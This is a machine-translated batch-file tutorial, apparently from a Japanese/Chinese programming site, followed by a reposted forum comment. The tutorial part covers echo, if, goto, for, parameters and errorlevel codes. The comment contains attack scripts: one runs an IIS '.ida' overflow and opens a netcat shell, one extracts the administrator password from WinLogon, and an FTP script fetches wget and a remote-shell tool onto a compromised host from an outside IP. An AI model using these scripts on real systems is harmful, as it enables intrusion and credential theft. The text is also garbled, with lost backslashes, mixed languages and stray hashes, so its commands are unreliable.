c# .bat ファイルを呼び出します
名前空間を使用します: using System.Diagnostics;
=========== = ================================================= ======
拡張子がbat(またはnt/2000/xp/2003ではcmd)のファイルはバッチファイルです
まずバッチファイルとはテキストファイルであり、このファイルの各行はDOS コマンド (ほとんどの場合、DOS プロンプトで実行するコマンド ラインと同じです)。DOS の [編集] または Windows メモ帳などのテキスト ファイル編集ツールを使用して、バッチ プロセスのドキュメントを作成および変更できます。
次に、バッチ ファイルは、条件ステートメント (if) とプロセス制御ステートメント (goto) によってコマンド実行のフローを制御できる単純なプログラムです。バッチ処理では、ループ ステートメント (for) を使用してコマンドをループすることもできます。 。 注文。もちろん、バッチ ファイルのプログラミング機能は非常に限定されており、C 言語などのプログラミング ステートメントと比較すると非常に非標準的です。バッチ処理のプログラム文は DOS コマンド(内部コマンド、外部コマンドを含む)ひとつひとつであり、バッチ処理の能力は主に使用するコマンドに依存します。
第三に、作成された各バッチ ファイルは DOS の外部コマンドに相当し、そのファイルが配置されているディレクトリを DOS 検索パス (パス) に置くことができるため、どこでも実行できます。ハードディスク上にバットまたはバッチ ディレクトリ (C:BATCH など) を作成し、作成したすべてのバッチ ファイルをこのディレクトリに配置することをお勧めします。これにより、パスに c:batch が設定されている限り、 、どこにでも作成したバッチ プログラムを実行できます。
第 4 に、DOS および Win9x/Me システムでは、C: ドライブのルート ディレクトリにある AUTOEXEC.BAT バッチ ファイルが、システムが起動するたびに自動的に実行されるように設定できます。 to 起動時に実行する必要があるコマンド (検索パスの設定、マウス ドライバーとディスク キャッシュのロード、システム環境変数の設定など) をこのファイルに記述します。次に、Windows 98 で実行される autoexec.bat の例を示します。
@ECHO OFF
PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:BATCH
LH SMARTDRV .EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:TEMP
SET TMP=D:TEMP
バッチ処理の役割
バッチ処理の役割は簡単に言うと自動連続実行です 複数コマンド。
これが最も単純なアプリケーションです。wps ソフトウェアを起動するときは、毎回実行する必要があります (>前の内容は DOS プロンプトを表します):
C:>cd wps
C:WPS>spdos
C:WPS>
C:WPS>wbx
C:WPS>wps
WPSを使用する前に毎回これを行うのは面倒だと思いませんか?
バッチ処理を使用すると、これらの面倒な操作を簡素化できます。まず、次の内容の runwps.bat バッチ ファイルを作成します。今後は、wps に入るたびに、runwps バッチ ファイルを実行するだけで済みます。
よく使用されるコマンド
echo、@、call、pause、rem (ヒント: rem の代わりに :: を使用してください) は、バッチ ファイルで最もよく使用されるコマンドです。
echo は、このコマンドの後の文字を表示することを意味します
echo off は、このステートメントの後に実行されるすべてのコマンドがコマンドライン自体を表示しないことを意味します
@ は echo off に似ていますが、実行中の Do を示すために各コマンドラインの先頭に追加されますこの行のコマンド ラインを表示しません (現在の行にのみ影響します)。
call は別のバッチ ファイルを呼び出します (呼び出さずに別のバッチ ファイルを直接呼び出すと、そのバッチ ファイルの実行後に現在のファイルに戻って現在のファイルの後続のコマンドを実行することはできません)。
pause この文を実行すると、バッチの実行が一時停止され、画面上に「Press any key to continue...」というプロンプトが表示され、ユーザーが続行するために任意のキーを押すのを待ちます。
rem は、このコマンドの後の文字が説明であることを意味します。行 (コメント) は実行されません。将来の参照用です (プログラム内のコメントに相当)。
例 1: edit を使用して a.bat ファイルを編集し、次の内容を入力して c:a.bat として保存します。このバッチ ファイルを実行した後、ルート ディレクトリ内のすべてのファイルを a.txt に書き込み、起動します。 UCDOS を起動し、WPS およびその他の機能を入力します。
バッチファイルの内容は次のとおりです: コマンドコメント:
@echo off 後続のコマンドラインと現在のコマンドラインを表示しません
dir c:*.* >a.txt c ドライブのファイルリストを a.txt に書き込みます
call c: ucdosucdos.bat ucdos を呼び出します
Echo hello に「Hello」が表示されます
一時停止 一時停止し、キーが続行するまで待ちます
Rem wps を実行する準備をします
注: wps を実行する準備をします
cd ucdos ucdos ディレクトリに入ります
wps wps を実行します バッチ ファイルのパラメータ
バッチ ファイルでは、C 言語関数のようなパラメータ (DOS コマンドのコマンド ライン パラメータに相当) も使用できます。これには、パラメータ インジケータ「%」の使用が必要です。
%[1-9] はパラメータを表します。パラメータは、バッチ ファイルの実行時にファイル名の後に追加されるスペース (またはタブ) で区切られた文字列を指します。変数の範囲は %0 ~ %9 で、%0 はバッチ コマンド自体を表し、その他のパラメータ文字列は %1 ~ %9 の順序で表されます。
例 2: C: のルート ディレクトリに f.bat という名前のバッチ処理ファイルがあります。内容は次のとおりです。
@echo off
format %1
C:>f a:
then f.bat を実行するとが実行されます、%1 これは a: を意味するため、形式 %1 は形式 a: と同等であるため、上記のコマンドを実行すると、実際の実行は形式 a: になります。
例 3: C: ルート ディレクトリにあるバッチ処理ファイル名前は t.bat で、内容は次のとおりです:
@echo off
type %1
type %2
Then run C:>t a.txt b.txt
%1: a.txt を意味します
%2: を意味しますb.txt
その後、上記のコマンドが順番に実行されます a.txt ファイルと b.txt ファイルの内容を効率的に表示します。
特別なコマンド
if goto Choice for はバッチ ファイルの比較的高度なコマンドです。これらの使用に熟練していれば、あなたはバッチ ファイルのエキスパートです。
1. If は条件文であり、指定された条件が満たされるかどうかを判断し、それによって別のコマンドの実行を決定します。 3 つの形式があります:
1. if [not] "parameter" == "string" を実行するコマンド
パラメータが指定された文字列と等しい場合 (not は等しくないことを意味し、以下同じ)、条件が満たされます。そうでない場合は次の文を実行します。
例: if "%1"=="a" format a:
2. [存在しない] [パス] ファイル名が存在する場合、実行するコマンド
指定されたファイルが存在する場合、条件が true の場合、コマンドを実行します、そうでない場合は、次の One センテンスを実行します。
例: c:config.sys が存在する場合は、c:config.sys と入力します。
c:config.sys ファイルが存在する場合、その内容が表示されることを示します。
3. if errorlevel f6083b4058d15d1a397e441a12b960dfTEST2 AUTOEXEC .BAT
このコマンドを実行した結果は上記と同じになります。
手順:
(1) IF EXIST はファイルが存在するかどうかのテストに使用されます。形式は
IF EXIST [パス + ファイル名] コマンドです。
(2) test2.bat ファイル内の %1 はパラメータです。DOS では 9 が許可されます渡されるバッチ パラメータ情報は、%1 ~ %9 というバッチ ファイルに与えられます (%0 は test2 コマンド自体を表します)。これは、プログラミングにおける実パラメータと仮パラメータの関係に似ています。仮パラメータであり、AUTOEXEC.BAT は実パラメータです。
3) さらに、次の内容の TEST3.BAT という名前のファイルを作成します:
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF " %3" == "C" ECHO XIN
実行すると:
C:>TEST3 A B C
画面に次のように表示されます:
XIAO
TIAN
XIN
実行すると:
C:>TEST3 A B
画面上
XIAO
TIAN
と表示されます。 このコマンドの実行中、DOS はパラメータ %3 に空の文字列を割り当てます。
2. IF-ERRORLEVEL
次の内容で TEST4.BAT を作成します:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO ファイルのコピーに失敗しました
IF ERRORLEVEL 0 ECHO ファイルは正常にコピーされました
次に、ファイルを実行します。
C :>TEST4
ファイルのコピーが成功すると、画面に「ファイルが正常にコピーされました」と表示され、そうでない場合は「ファイルのコピーに失敗しました」と表示されます。
IF ERRORLEVEL は、前の DOS コマンドの戻り値をテストするために使用されます。これは前のコマンドの戻り値にすぎず、戻り値は大きいものから小さいものまで順番に判断する必要があることに注意してください。
したがって、次のバッチ ファイルは間違っています:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL 0 ECHO ファイルのコピーに成功しました
IF ERRORLEVEL 1 ECHO コピーされたファイルが見つかりませんでした
IF ERRORLEVEL 2 ECHO ユーザーが渡したctrl-c コピー操作を中止します
IF ERRORLEVEL 3 ECHO プリセット エラーによりファイル コピー操作が妨げられます
IF ERRORLEVEL 4 ECHO コピー プロセス中のディスク書き込みエラー
コピーが成功したかどうかに関係なく、次の状況が発生します:
コピー ファイルが見つかりません
ユーザーが Ctrl-C を使用してコピー操作を終了しました
プリセット エラーによりファイル コピー操作が妨げられました
コピー処理中のディスク書き込みエラー
すべてが表示されます。
以下は、一般的に使用されるいくつかのコマンドの戻り値とその意味です:
backup
0 バックアップ成功
1 バックアップ ファイルが見つかりません
2 ファイル共有の競合によりバックアップが完了できません
3 ユーザーが Ctrl-C を使用してバックアップを中止します
4 致命的なエラーのため、バックアップ操作が中止されます
diskcomp
0 ディスク比較は同じです
1 ディスク比較は異なります
2 ユーザーが Ctrl-C で比較操作を中止します
3 致命的エラーにより比較操作が中止されます
4 プリセットエラーにより比較が中止されます
disccopy
0 ディスク コピー 操作は成功しました
1 致命的ではないディスク読み取り/書き込みエラー
2 ユーザーが Ctrl-C を使用してコピー操作を終了しました
3 ディスク コピーは致命的な処理エラーにより中止されました
4 プリセット エラーが防止されましたコピー操作
format
0 フォーマットは成功しました
3 ユーザー Ctrl-C でフォーマットプロセスを中止します
4 致命的な処理エラーのため、フォーマットは中止されました
5 ユーザーは、プロンプト「フォーマットを続行 ( y/n)?"
xcopy
0 ファイルが正常にコピーされました
1 見つかりません ファイルをコピーします
2 ユーザーが Ctrl-C を使用してコピー操作を終了します
4 プリセット エラーによりファイル コピー操作が妨げられます
5 コピー プロセス中のディスク書き込みエラー
3. IF STRING1 == STRING2
TEST5.BAT を作成します。ファイルの内容は次のとおりです:
@echo off
IF "%1" == "A" formAT A:
Execute:
C:>TEST5 A
A:ドライブをフォーマットするかどうかが画面に表示されます。
注: パラメーターが空にならないようにするために、文字列は通常二重引用符で囲まれます (または他の記号。予約された記号は使用できないことに注意してください)。
例: if [%1]==[A] または if %1*==A*
5. GOTO
TEST6.BAT を作成します。 ファイルの内容は次のとおりです:
@ECHO OFF
IF EXIST C:AUTOEXEC .BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:AUTOEXEC.BAT D:
:_DONE
注:
(1) ラベルの前には ASCII 文字のコロン「:」があり、ラベルの間にスペースを入れることはできません。コロンとラベル。
(2) ラベルの命名規則はファイル名と同じです。
(3) DOS は、最大 8 文字のラベルをサポートします。2 つのラベルを区別できない場合は、最も近いラベルにジャンプします。
6. FOR
C:TEST7.BAT を作成します。ファイルの内容は次のとおりです:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
C を実行します。 :> TEST7
を実行すると、C: ドライブのルート ディレクトリにある拡張子 BAT、TXT、SYS を持つすべてのファイルの内容が画面に表示されます (隠しファイルを除く)。
__________________________________________________________________________________
[パッケージのダウンロード] [この記事を引用する] [コメントを投稿する] [この記事を転送する] [ウィンドウを閉じる]
この記事の関連コメント:
この記事には次の 6 件の関連コメントがあります: (フォーラムを表示するには、ここをクリックしてください) )
------------------------------------------------- -- ----------------------------------
bluekylin 公開日: 2004/11/24 10:25pm
win2000 コマンドラインバッチ処理 BAT ファイルのヒント
———————————————————————————————————————— ————
記事の構成
1. すべての組み込みコマンドのヘルプ情報
2. 組み込みの特殊記号 (実際の使用時は避けるように注意してください)
4.単純なバッチ ファイル
5. 添付ファイル 1 tmp.txt
6. 添付ファイル 2 sample.bat
########################### ########### ##########################
1. すべての組み込みコマンドのヘルプ情報
# ########### ####################################### ######### ########
cmd /?
echo /?
shift /? ?
call /?
その他の一般的なコマンド
type /?
findstr /?
____________________________________________________________
echo ver >tmp.txt
バージョン >>tmp.txt
エコー cmd /? >>tmp.txt
エコー >>tmp.txt
レム /? ;tmp.txt
echo if /? >>tmp.txt
echo goto >>tmp.txt /?
/? のエコー >>tmp .txt
/? >>tmp.txt
エコーシフト/? >>tmp.txt
shift /? >>tmp.txt
エコーコール /? >>tmp.txt
call /? >>tmp.txt
エコー タイプ /? >>tmp.txt
「/」と入力しますか? >>tmp.txt
echo find /? >>tmp.txt
/ を見つけますか? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
エコーコピー /? >>tmp.txt
コピー /? >>tmp.txt
「tmp.txt」と入力します
_______________________________________________________
##################################### #################################
2. 環境変動量の概念
############################################# #########################
_____________________________________________________________________________
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll Users
CommonProgramFiles=C:Program FilesCommonファイル
COMPUTERNAME=FIRST
ComSpec=C:WINNTsystem32cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:WINNTsystem32os2dll;
パス=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 ファミリー 6 モデル 6 ステップ 5、純正インテル
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:WINNT
TEMP =C: WINNTTEMP
TMP=C:WINNTTEMP
USERPROFILE=C:Documents and SettingsDefault User
windir=C:WINNT
_____________________________________________________________________________
path: 実行可能な手順の検索経路を示します。 私の建议は
%windir%system32にコピーしてください。 此目录里面。 一般的には自動的に検索できます。
语法: mychenxu.exe %windir%system32 をコピーします。
使用点(.)便宜一目了然
对環境变量的引用使用(英文模式,半角)双引号
%windir%变量
%%windir%%二次变量参照。
我们常用的还有
%temp% 临時文件目录
%windir% 系统目录
%errorlevel% 退出代码
输出文件到临時文件目录里面。
对空格のパラメータ。 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:>dir p*
C: 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01- 03 00:47 Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节
C:>cd pro*
C:Program Files>
C:>
C:>cd「プログラム ファイル」
C:プログラム ファイル>
############################################## #####################
3. 内部の特殊なシンボル (中注意回避)
#################################### #################################
微软里面内に設置された次の文字列は、作成されたファイル名の中では使用できません
コンヌル補助 / | || && ^ > 空白を含むほとんどの文字を変数値として使用できます。特殊文字 f539a70d3ea090bac4faa80192f58ccc、|、&、または ^ を使用する場合は、それらの前にエスケープ文字 (^) または引用符を付ける必要があります。引用符を使用すると、等号に続くすべてが値としてみなされるため、引用符は値の一部として含まれます。次の例を考えてみましょう:
(大意: 要么你使用^作為前导字表示。または就只有使用双引号""了)
変数値 new&name を作成するには、次のように入力します。
set varname=new^&name
変数を作成するにはvalue "new&name"、次のように入力します:
set varname="new&name"
アンパサンド (&)、パイプ (|)、および括弧 () は特殊文字であり、値を渡すときにエスケープ文字 (^) または引用符を前に付ける必要があります。それらを引数として使用します。
「パシフィック・リム」を検索 5b6a61271d54c1503dc3bea3afbd1a5a> 1 つの文書に追加後面
@ 前文字符。実行時に本行が cmd 領域に表示されない場合は、echo off关闭显示
^ 对特殊記号( > 123d04f0898b0bf334ba68175524be6bああ
エコー 1231231 > bbb
() 包含コマンド
(echo aa & echo bb)
、スペースと同じデフォルトの区切り記号
; コメント、次のコメントを示します
: ラベル関数
| パイプライン操作
& 使用法: 最初のコマンド & 2 番目のコマンド [& 3 番目のコマンド...]
このメソッドを使用すると、次のコマンドを実行できます。コマンドが正常に実行されたかどうかに関係なく、同時に複数のコマンド
dir c:*.exe & dir d:*.exe & dir e:*.exe
&& 使用法: 最初のコマンド && 2 番目のコマンド コマンド [&& 3 番目コマンド...]
実行エラーが発生した場合、次のコマンドは実行されません。
|| 2 番目のコマンド。 | 3 番目のコマンド...]
正しいコマンドが見つからない場合、次のコマンドは実行されません。
共通の構文形式
IF [ NOT] ERRORLEVEL 番号コマンドpara1 para2
IF [NOT] string1==string2 コマンド para1 para2
IF [NOT] EXIST ファイル名コマンド para1 para2
IF EXIST ファイル名コマンド para1 para2
IF NOT EXIST ファイル名コマンド para1 para2
IF "%1" ==="" END へ移動
IF "%1"=="net" NET へ
IF NOT "%2"=="net" OTHER へ
IF ERRORLEVEL 1 コマンド para1 para2
IF NOT ERRORLEVEL 1 コマンド para1 para2
FOR /L %% i IN (start,step,end) DO コマンド [コマンドパラメータ] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i % j %k
パラメーターをアルファベット順に取得します。 ijklmnopq
eol=c - 行のコメント文字 (1 つだけ) を指します。
skip=n - ファイルの先頭で無視される行数を指します。
delims=xxx - 区切り文字セットを参照します。これは、スペースとタブのデフォルトの区切り文字セットを置き換えます。
############################################## #################
4. 単純なバッチ ファイルの概念
################# ##### ###########################################
echo これはテストです > a.txt
a.txt を入力
echo これはテスト 11111 >> a.txt
a.txt を入力
echo これはテスト 22222
a.txt を入力
2 番目のエコーは
を追加します3 番目のエコーは、a.txt をクリアして、a.txt を再作成します
netstat -n | find "3389"
これにより、3389 に接続されているすべてのユーザーの IP アドレスがリストされます。 echo plese Care 2222
echo plese Care 3333
@echo Please Care
@echo plese Care 1111
@echo plese Care 2222
@echo plese Care 3333
rem コメントステートメントを表示しない、この行には表示されます
@rem はコメントを表示しませんステートメントの場合、この行は表示されません
@ifexist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@ifexist %windir%system32fina.exe (echo fina.exe を見つけてください!!!) else (エコー エラー: fina.exe が見つかりません)
_______________________________________________________________
ida リモート オーバーフローである特定の idahack プログラムを例に挙げてみましょう。これは非常に簡単です。 ver 1.0
@存在しない場合 %windir%system32idahack.exe echo "エラー: idahack.exe が見つかりません"
@存在しない場合 %windir%system32nc.exe echo "エラー: nc.exe が見つかりません"
@if "%1 " ==" goto USAGE
@if NOT "%2" ==" goto SP2
:start
@echo 今すぐ開始...
@ping %1
@echo chinese win2k:1 sp1 :2 sp2:3
idahack .exe %1 80 1 99 >%temp%_tmp
@echo "プログラム終了コード [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "頑張ってください : )" %temp%_tmp
@echo "プログラム終了コード [%errorlevel%] find [goog lucky]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp% _tmp
@type %temp%_tmp
@find "頑張ってください:)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:USAGE
@echo 例: ida.bat IP
@echo 例: ida.bat IP (2,3)
:END
____________________________ida.bat__END_______________________________
管理者のパスワードを取得するためです
ほとんどの人は取得できないと言います。正しい情報を入力しませんでした
_______________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT 存在します %windir%system32findpass.exe echo "エラー: findpass.exe が見つかりません"
@if NOT存在 %windir%system32pulist.exe echo "エラー: pulist.exeが見つかりません"
@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "プログラム終了コード [%errorlevel%] findpass.exe"
@type %temp%_findpass.txt
@echo ____________________________Here__pass★★★★★ ★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist.exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON Explorer internat" %temp%_pass.txt
@echo "例: fpass.bat %1 %2 %3 %4 !!!"
@echo "使用法: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME%Administrator "
@echo " fpass.bat end [%errorlevel%] !"
_______________fpass.bat___END__________________________________________________________
もう 1 つは、Telnet 経由でリモート ホストにログインしていることです。ファイル (win )
ウィンドウに次の内容を 1 つずつ入力します。もちろん、Ctrl+V を押して、待つだけです。
echo open 210.64.x.4 3396>w echo read>>w echo read>>w echo cd winnt>>w echo binary>>w echo pwd >>w echo get wget.exe >>w echo get winshell.exe >>w echo get any.exe >>w echo quit >>w ftp -s:w
以上が、 C# の .bat ファイル。PHP 中国語 Web サイト (www.php.cn) に注目してください。